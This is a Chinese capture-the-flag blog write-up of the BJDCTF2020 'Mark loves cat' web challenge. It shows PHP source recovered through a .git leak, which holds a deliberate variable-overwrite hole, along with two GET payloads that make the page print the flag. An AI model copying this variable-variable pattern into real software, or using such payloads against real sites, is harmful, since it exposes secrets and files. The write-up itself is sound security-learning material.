BJDCTF2020]Mark loves cat

最新推荐文章于 2024-07-17 01:52:52 发布

samh1777

最新推荐文章于 2024-07-17 01:52:52 发布

阅读量198

点赞数

分类专栏： buu # web之每日一题

本文链接：https://blog.youkuaiyun.com/Shannidawang/article/details/119536059

版权

buu 同时被 2 个专栏收录

30 篇文章

订阅专栏

web之每日一题

29 篇文章

订阅专栏

博客提及.git泄露情况，通过该泄露得到flag.php和index.php两个重要文件，还给出了payload相关内容，包含第二个if和第三个if，以及参考连接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

.git泄露
在这里插入图片描述
得到两个重要文件
flag.php

<?php
$flag = file_get_contents('/flag');

index.php

<?php

include 'flag.php';//包含了flag.php

$yds = "dog";
$is = "cat";
$handsome = 'yds';

#变量覆盖漏洞
foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}
echo "the flag is: ".$flag;

payload:
第二个if

1:$x=yds;$y=flag
2$$x=$yds;$$y=$flag
3$$x=$$y即$yds=$flag

?yds=flag

第三个if

#传入flag=flag
1:$x=flag;$y=flag
2:$$x=$flag;$$y=$flag
3:$$x=$$y即$flag=$flag#所以flag的值是不变的

?is=flag&flag=flag

参考连接